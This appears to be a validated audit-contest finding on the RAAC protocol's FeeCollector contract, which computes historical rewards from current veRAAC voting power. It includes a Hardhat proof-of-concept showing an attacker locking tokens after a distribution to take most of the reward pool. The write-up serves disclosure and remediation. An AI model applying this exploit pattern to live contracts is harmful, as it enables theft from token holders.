Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Reward Calculation in FeeCollector.sol

Summary

The reward calculation mechanism uses the current veRAAC voting power of users instead of their historical voting power during the actual distribution periods. This allows attackers to claim rewards from past distributions they didn't participate in by acquiring veRAAC tokens just before claiming.

Vulnerability Details

The reward distribution system incorrectly uses current veRAAC voting power to calculate historical rewards. This allows attackers to:

  • Back-claim rewards from periods they didn't participate in by acquiring veRAAC tokens just before claiming

  • Steal rewards allocated to legitimate long-term holders

The flaw originates from two key areas:

A. Faulty Reward Calculation Logic
In _calculatePendingRewards:

function _calculatePendingRewards(address user) internal view returns (uint256) {
uint256 userVotingPower = veRAACToken.getVotingPower(user); // Current balance
uint256 totalVotingPower = veRAACToken.getTotalVotingPower(); // Current total
uint256 share = (totalDistributed * userVotingPower) / totalVotingPower;
return share > userRewards[user] ? share - userRewards[user] : 0;
}
  • Uses current voting power (getVotingPower()) to calculate shares of historical rewards (totalDistributed)

  • totalDistributed accumulates rewards across all past distributions but uses current snapshot for calculations

B. Incorrect Reward Distribution Tracking
In _processDistributions:

if (shares[0] > 0) {
// ...
totalDistributed += shares[0]; // Cumulative total
}
  • Stores rewards as a single cumulative value instead of per-period tracking

  • Loses historical context of rewards distribution

Exploit Scenario:

  1. A legitimate user locks a moderate amount of veRAAC tokens before fee distribution, establishing an expected reward share based on that balance.

  2. The system collects fees and allocates rewards based on the then-existing voting power.

  3. An attacker, who had not locked tokens during the distribution, acquires a significant number of veRAAC tokens immediately before claiming rewards.

  4. When the attacker calls claimRewards, the reward calculation uses the inflated current voting power, resulting in a disproportionate reward payout.

POC:

import { expect } from 'chai';
import hre from 'hardhat';
const { ethers, time } = hre;
describe('Exploit: Reward Inflation via Post-Distribution Locking', function () {
// Increase timeout to 120 seconds for debugging.
this.timeout(120000);
let raacTokenExploit, feeCollectorExploit, veRAACTokenExploit;
let owner, legitimateUser, attacker, treasury, repairFund;
const ONE_YEAR = 365 * 24 * 3600;
// Fee type configuration for fee type 0.
const feeTypeConfig = {
veRAACShare: 5000, // 50%
burnShare: 1000, // 10%
repairShare: 1000, // 10%
treasuryShare: 3000, // 30%
};
beforeEach(async function () {
console.log('Getting signers...');
[owner, legitimateUser, attacker, treasury, repairFund] =
await ethers.getSigners();
console.log('Deploying RAACToken...');
const RAACToken = await ethers.getContractFactory('RAACToken');
raacTokenExploit = await RAACToken.deploy(owner.address, 100, 50);
await raacTokenExploit.waitForDeployment();
console.log('RAACToken deployed at', raacTokenExploit.target);
console.log('Deploying veRAACToken...');
const VeRAACToken = await ethers.getContractFactory('veRAACToken');
veRAACTokenExploit = await VeRAACToken.deploy(raacTokenExploit.target);
await veRAACTokenExploit.waitForDeployment();
console.log('veRAACToken deployed at', veRAACTokenExploit.target);
console.log('Deploying FeeCollector...');
const FeeCollector = await ethers.getContractFactory('FeeCollector');
feeCollectorExploit = await FeeCollector.deploy(
raacTokenExploit.target,
veRAACTokenExploit.target,
treasury.address,
repairFund.address,
owner.address
);
await feeCollectorExploit.waitForDeployment();
console.log('FeeCollector deployed at', feeCollectorExploit.target);
console.log('Configuring RAAC and veRAAC...');
await raacTokenExploit.setFeeCollector(feeCollectorExploit.target);
await raacTokenExploit.manageWhitelist(feeCollectorExploit.target, true);
await raacTokenExploit.manageWhitelist(veRAACTokenExploit.target, true);
await raacTokenExploit.setMinter(owner.address);
await veRAACTokenExploit.setMinter(owner.address);
console.log('Granting roles to FeeCollector...');
await feeCollectorExploit.grantRole(
await feeCollectorExploit.FEE_MANAGER_ROLE(),
owner.address
);
await feeCollectorExploit.grantRole(
await feeCollectorExploit.DISTRIBUTOR_ROLE(),
owner.address
);
console.log('Updating fee type 0 configuration...');
await feeCollectorExploit.connect(owner).updateFeeType(0, feeTypeConfig);
console.log('Minting tokens for participants...');
await raacTokenExploit.mint(
legitimateUser.address,
ethers.parseEther('10000')
);
await raacTokenExploit.mint(attacker.address, ethers.parseEther('10000'));
console.log('Legitimate user approving RAAC for locking...');
await raacTokenExploit
.connect(legitimateUser)
.approve(veRAACTokenExploit.target, ethers.MaxUint256);
console.log('Legitimate user locking tokens...');
await veRAACTokenExploit
.connect(legitimateUser)
.lock(ethers.parseEther('1000'), ONE_YEAR);
console.log('Legitimate user approving FeeCollector to spend RAAC...');
await raacTokenExploit
.connect(legitimateUser)
.approve(feeCollectorExploit.target, ethers.parseEther('100'));
console.log('Legitimate user paying fee...');
await feeCollectorExploit
.connect(legitimateUser)
.collectFee(ethers.parseEther('100'), 0);
console.log('Distributing fees...');
await feeCollectorExploit.connect(owner).distributeCollectedFees();
console.log('Minting extra tokens to FeeCollector for rewards payout...');
await raacTokenExploit.mint(
feeCollectorExploit.target,
ethers.parseEther('100')
);
console.log('Legitimate user claiming rewards...');
await feeCollectorExploit
.connect(legitimateUser)
.claimRewards(legitimateUser.address);
console.log('BeforeEach hook complete.');
});
it('allows attacker to claim rewards from past distributions by locking tokens after distribution', async function () {
console.log('Attacker approving RAAC for locking...');
await raacTokenExploit
.connect(attacker)
.approve(veRAACTokenExploit.target, ethers.MaxUint256);
console.log('Attacker locking tokens...');
await veRAACTokenExploit
.connect(attacker)
.lock(ethers.parseEther('10000'), ONE_YEAR);
const pendingAttackerReward = await feeCollectorExploit.getPendingRewards(
attacker.address
);
console.log(
'Attacker pending reward (RAAC):',
ethers.formatEther(pendingAttackerReward)
);
console.log('Attacker claiming rewards...');
await feeCollectorExploit.connect(attacker).claimRewards(attacker.address);
const attackerFinalReward = await raacTokenExploit.balanceOf(
attacker.address
);
console.log(
'Attacker reward balance after claim (RAAC):',
ethers.formatEther(attackerFinalReward)
);
const expectedAttackerReward = (ethers.parseEther('50') * 10000n) / 11000n;
expect(attackerFinalReward).to.be.closeTo(
expectedAttackerReward,
ethers.parseEther('0.01')
);
});
});

From the POC above:

  • A legitimate user locks 1,000 tokens prior to fee collection.

  • A fee of 100 RAAC tokens is collected and distributed, with 50 RAAC tokens allocated to veRAAC holders.

  • The attacker then locks 10,000 tokens after distribution.

  • The attacker’s calculated pending reward is approximately 45.45 RAAC tokens, despite having not contributed to the fee collection process during the relevant distribution period.

Impact

Financial loss

Tools Used

Manual review and hardhat

Recommendations

  • Track rewards per distribution period, recording the user's voting power and total supply at each period.

  • Calculate rewards based on the time-weighted average of the user's stake during each period, not their current stake.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

inallhonesty Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.